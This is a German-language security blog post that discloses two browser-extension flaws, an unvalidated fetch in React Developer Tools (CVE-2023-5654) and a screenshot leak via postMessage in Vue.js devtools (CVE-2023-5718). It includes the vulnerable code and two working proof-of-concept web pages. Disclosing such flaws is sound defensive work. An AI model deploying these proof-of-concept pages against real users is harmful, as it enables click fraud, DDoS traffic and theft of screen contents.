Skip to main content

Sicherheitslücken in WebExtensions: React Developer Tools und Vue.js devtools im Fokus

Artikel von
Headshot of Calum Hutton

Calum Hutton

blog feature toolkit

27. November 2023

0 Min. Lesezeit

Die Sicherheitsexperten von Snyk haben Untersuchungen durchgeführt, um die Risiken von WebExtensions besser zu verstehen – sowohl bekannte Risiken (z. B. XSS, Code-Injection) als auch solche, die speziell WebExtensions betreffen. Dabei haben wir Schwachstellen in einigen beliebten Browser-Erweiterungen identifiziert und offengelegt: React Developer Tools und Vue.js devtools. In diesem Beitrag betrachten wir die WebExtension-Technologie und die identifizierten Schwachstellen.

Kurze Geschichte der WebExtensions

WebExtension ist eine Browser-Erweiterungs-API, mit der Entwickler browserübergreifende Erweiterungen für Firefox, Chrome und andere Browser erstellen können. Ursprünglich wurde sie von Chrome entwickelt und 2017 von Firefox übernommen, nachdem Firefox die Unterstützung seiner früheren Erweiterungs-APIs XUL und XPCOM eingestellt hatte. Die früheren APIs waren leistungsfähig, aber auch weniger sicher und schwieriger zu warten. Das waren wichtige Gründe für den Wechsel des Firefox-Teams zur Unterstützung von WebExtension.

Das macht das WebExtension-Ökosystem für die Sicherheitsforschung besonders interessant: Eine Schwachstelle in einer einzelnen Erweiterung könnte zahlreiche Nutzer mit unterschiedlichen Browsern betreffen.

WebExtension-Architektur

WebExtensions bestehen aus verschiedenen Komponenten, die über Nachrichten miteinander kommunizieren können. Die einzelnen Komponenten einer Erweiterung haben Zugriff auf unterschiedliche APIs – die Isolierung privilegierter APIs ist eine der Maßnahmen, mit denen WebExtensions sicherer gestaltet wurden:

  • Nur Hintergrundseiten haben Zugriff auf vertrauliche APIs. Sie können nicht direkt auf den Seiteninhalt bzw. das DOM zugreifen.

  • Content-Scripts können auf den Seiteninhalt zugreifen, haben jedoch nur eingeschränkten Zugriff auf APIs. Die Datei manifest.json definiert die Komponenten und Berechtigungen der Erweiterung sowie weitere Metadaten. 

Diagramm, das zeigt, wie manifest.json mit Browser-Erweiterungskomponenten verknüpft ist: Hintergrundseite, Content-Skripte, Browser- und Seitenaktionen, Optionsseite und Webzugriff

Fallstricke bei WebExtensions

WebExtensions sind bewusst weniger leistungsfähig als XUL und XPCOM, um ihre Sicherheit zu erhöhen. Die APIs sind restriktiver, und es gibt weniger Möglichkeiten, die Integrität der Erweiterung oder des Browsers versehentlich zu gefährden. Dennoch bergen die verwendeten Technologien inhärente Risiken, etwa XSS und Code-Injection. Uns interessierten jedoch vor allem die spezifischen Risiken von WebExtensions. Unsere Untersuchung konzentrierte sich auf die folgenden drei Bereiche:

  1. Nicht verifizierte externe Nachrichten – Wird der Absender einer externen Nachricht (vom Browser oder einer anderen Erweiterung) nicht verifiziert, könnten Angreifer unbefugte Aktionen innerhalb der Erweiterung ausführen.

  2. Weiterleitung nicht verifizierter externer Nachrichten – Ähnlich wie beim vorherigen Problem, mit dem zusätzlichen Risiko, dass die nicht verifizierte externe Nachricht an die Hintergrundseite weitergeleitet wird und so möglicherweise indirekten Zugriff auf privilegierte APIs erhält.

  3. Unbefugter Zugriff auf APIs zur Seitenaufnahme – Einige APIs liefern dem Aufrufer Screenshots von Tabs als Base64-codierte Daten. Könnte ein Angreifer auf diese Daten zugreifen, ließen sich vertrauliche Informationen stehlen.

Aufbau eines Datensatzes

Da wir WebExtensions in großem Umfang untersuchen wollten, konzentrierten wir uns darauf, den Quellcode von WebExtensions (eine Mischung aus JavaScript, HTML und CSS) von der Mozilla-Add-on-Website zu beziehen. Mithilfe eines Skripts konnten wir die 150 beliebtesten Firefox-Erweiterungen herunterladen. Erweiterungspakete tragen die Dateiendung .xpi, sind in Wirklichkeit aber lediglich komprimierte Archive, die sich bei Bedarf entpacken und lesbarer formatieren lassen – was häufig nötig war.

Ergebnisse

React Developer Tools v4.27.8 (CVE-2023-5654)

Diese React Developer Tools-Erweiterung registriert in einem Content-Script, das für jede im Browser aktive Webseite zugänglich ist, mit window.addEventListener('message', <listener>) einen Nachrichten-Listener. Der Listener enthält Code, der eine URL abruft, die aus der empfangenen Nachricht abgeleitet wird: über fetch(). Die URL wird vor dem Abruf weder validiert noch bereinigt. Dadurch kann eine bösartige Webseite über den Browser des Opfers beliebige URLs abrufen. 

Da der Inhalt der Antwort nicht an die bösartige Webseite zurückgegeben wird, sind die Auswirkungen dieses Problems begrenzt. Vertrauliche Ressourcen, die nur dem Opfer zur Verfügung stehen, können beispielsweise nicht abgerufen werden. Die Schwachstelle könnte jedoch dazu verwendet werden, Klicks und damit Einnahmen für Angreifer zu generieren oder – in Verbindung mit anderen Browsern – ohne Wissen oder Zustimmung der Opfer einen verteilten Denial-of-Service-Angriff (DDoS) durchzuführen.  

Code

Das folgende Codebeispiel (der Kürze halber gekürzt) zeigt den Nachrichten-Listener im Content-Script: Er extrahiert die URL aus der möglicherweise manipulierten empfangenen Nachricht und verwendet die beliebige URL kurz darauf direkt in einem fetch-Aufruf.

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type === 'fetch-file-with-cache') {
        const url = data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response => {
            if (response.ok) {
              response
                .text()
                .then(text => resolve(text))
                .catch(error => reject(null));
            } else {
              reject(null);
            }
          },
          error => reject(null),
        );
      }
      break;
    ...

Proof of Concept

In der folgenden PoC-React-Anwendung wird die Standard-API postMessage() verwendet, um beim Klick auf eine Schaltfläche eine präparierte Nachricht zu senden und so die oben gezeigte switch-Anweisung auszulösen. Beachten Sie, dass das source-Attribut der Nachricht react-devtools-extension und ihr type fetch-file-with-cache lautet.

<!DOCTYPE html>
<html>
<head>
  <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
  <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
  <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>

<div id="mydiv"></div>

<script type="text/babel">
  function Hello() {
    return <h1>Hello World!</h1>;
  }

  const container = document.getElementById('mydiv');
  const root = ReactDOM.createRoot(container);
  root.render(<Hello />)
</script>

<script>
  function sendBrowserMsg() {
    let msg = {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.imdb.com'
      }
    }
    console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
    postMessage(msg, "*");
  }
</script>

<form>
  <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>

</body>
</html>

In der Praxis würde die bösartige Webseite wahrscheinlich automatisch Nachrichten an die Erweiterung senden, ohne dass eine Interaktion durch den Nutzer erforderlich wäre. Diese Schwachstelle ist ein Beispiel für nicht verifizierte externe Nachrichten.

Vue.js devtools v6.5.0 (CVE-2023-5718)

Bei dieser Vue.js devtools-Erweiterung wurde festgestellt, dass sie Screenshot-Daten über die Standard-API postMessage() an eine bösartige Webseite weitergibt. Dazu wird eine bösartige Webseite mit einem iframe erstellt, der auf eine vertrauliche Website oder Ressource (z. B. eine lokal zugängliche Datei) verweist. Registriert die Webseite einen Listener, sendet die Erweiterung Nachrichten mit den Base64-codierten Screenshot-Daten der vertraulichen Website oder Ressource an diesen Listener. Dies ist ein Beispiel für unbefugten Zugriff auf APIs zur Seitenaufnahme. 

Eine Interaktion durch den Nutzer war erforderlich, da Nachrichten mit Screenshot-Daten nur gesendet wurden, wenn der anvisierte Nutzer den Mauszeiger über die Zeitleistenbalken im Zeitleisten-Tab bewegte:

Browser-Entwicklertools mit dem Timeline-Bereich von Vue Devtools sowie Tracks für Maus-, Tastatur- und Komponentenereignisse und die Performance

Es gibt einige Schutzmaßnahmen, die sich auf die vertrauliche Website beziehen, die von der bösartigen Webseite angegriffen werden kann: Die Zielwebsite muss das Einbetten in iframes erlauben (d. h. der HTTP-Antwortheader X-Frame-Options darf nicht vorhanden sein oder muss die Zielwebsite ausdrücklich zulassen). Es wurde jedoch festgestellt, dass auch andere Tabs mit aktivierter Vue.js devtools-Erweiterung Screenshot-Daten an die bösartige Webseite weitergaben. Dadurch stieg die Wahrscheinlichkeit, dass vertrauliche Informationen offengelegt werden. 

Code

Der folgende Code zeigt, wie die Erweiterung im Aufruf der Funktion postMessage() einen Platzhalter (*) verwendet, um Nachrichten an die Listener der Webseite zurückzusenden. Dadurch können Screenshot-Daten aus anderen Tabs offengelegt werden. 

const bridge = new Bridge({
  listen (fn) {
    window.addEventListener('message', evt => fn(evt.data))
  },
  send (data) {
    if (process.env.NODE_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '*')
  },
})

Proof of Concept

In der folgenden PoC-Vue.js-Anwendung wird die Standard-API window.addEventListener(‘message’ <listener>) verwendet, um einen Listener auf der bösartigen Webseite zu registrieren. Mit der Funktion setInterval() werden regelmäßig Klicks auf der PoC-Seite simuliert, da Ereignisse wie Maus- und Tastaturaktionen die Seitenaufnahme-APIs auslösen und Screenshot-Daten erzeugen. Die Funktion handleScreenshot() prüft jede eingehende Nachricht auf die erwarteten Parameter und wandelt die eingehenden Base64-codierten Screenshot-Daten in ein Bild um, das in die PoC-Seite eingebettet wird. In der Praxis würden die Base64-Daten wahrscheinlich unbemerkt an einen Angreifer weitergeleitet.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>postMessage() PoC</title>
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
</head>
<body>
    <div id="app">
        <iframe src="https://www.wikipedia.org" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"></iframe>
    </div>
    <script>
        const { createApp, ref } = Vue

        createApp({
            setup() {
                const message = ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script>

    <script>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) => {
                console.log(`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}, source: ${msg.source.location}`);
                handleScreenshot(msg.data);
            });
            console.log(`Added message listener (window.addEventListener)..`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length > 0) {
                data.payload.forEach((event) => {
                    if (event.event === 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(`Got screenshot with id: ${event.payload.screenshot.id}`);
                        let img = new Image();
                        img.src = event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script>
</body>
</html>

Verbessern Sie die Sicherheit Ihrer WebExtension

Nachdem Sie nun die möglichen Risiken und Vorteile von WebExtensions kennengelernt haben und konkrete Beispiele für Schwachstellen in React Developer Tools und Vue.js devtools kennen, können Sie WebExtension-Technologie in Ihre eigenen Anwendungen integrieren, ohne Abstriche bei der Sicherheit zu machen. 

Die neuen Risiken im Blick zu behalten, ist eine fortlaufende Aufgabe für alle Mitglieder von Entwicklungs- und Sicherheitsteams. Zum Glück unterstützt Snyk Sie dabei. Unsere Sicherheitsinformationen und Entwicklersicherheitstools helfen Ihnen, Risiken frühzeitig zu erkennen und Ihre Anwendung vor aktuellen und künftigen Sicherheitsbedrohungen zu schützen. Starten Sie noch heute kostenlos oder buchen Sie eine Demo mit unseren Sicherheitsexperten, um mehr zu erfahren. 

Von Entwicklern geschätzt. Von der Security vertraut.

Die Developer-first-Tools von Snyk bieten integrierte und automatisierte Security, die Ihren Governance- und Compliance-Anforderungen gerecht wird.

Weiterlesen

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSec: Sicherheit, die mit der KI-Entwicklung Schritt hält

KI-gestützte Entwicklung überholt herkömmliche Security-Workflows. Snyk Agentic AppSec setzt Security-Agenten ein, die Schwachstellen kontinuierlich finden, beheben und überprüfen – während Menschen die Maßstäbe festlegen.

blog feature ai violet
Blog

VulnBump: Können KI-Agenten anfällige Abhängigkeiten beheben, ohne den Build zu beschädigen?

VulnBump testet KI-Agenten anhand von 307 realen Dependency-Upgrades. Eine Lösung zählt nur, wenn die Sicherheitslücke behoben ist und Build sowie Tests weiterhin erfolgreich sind.

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.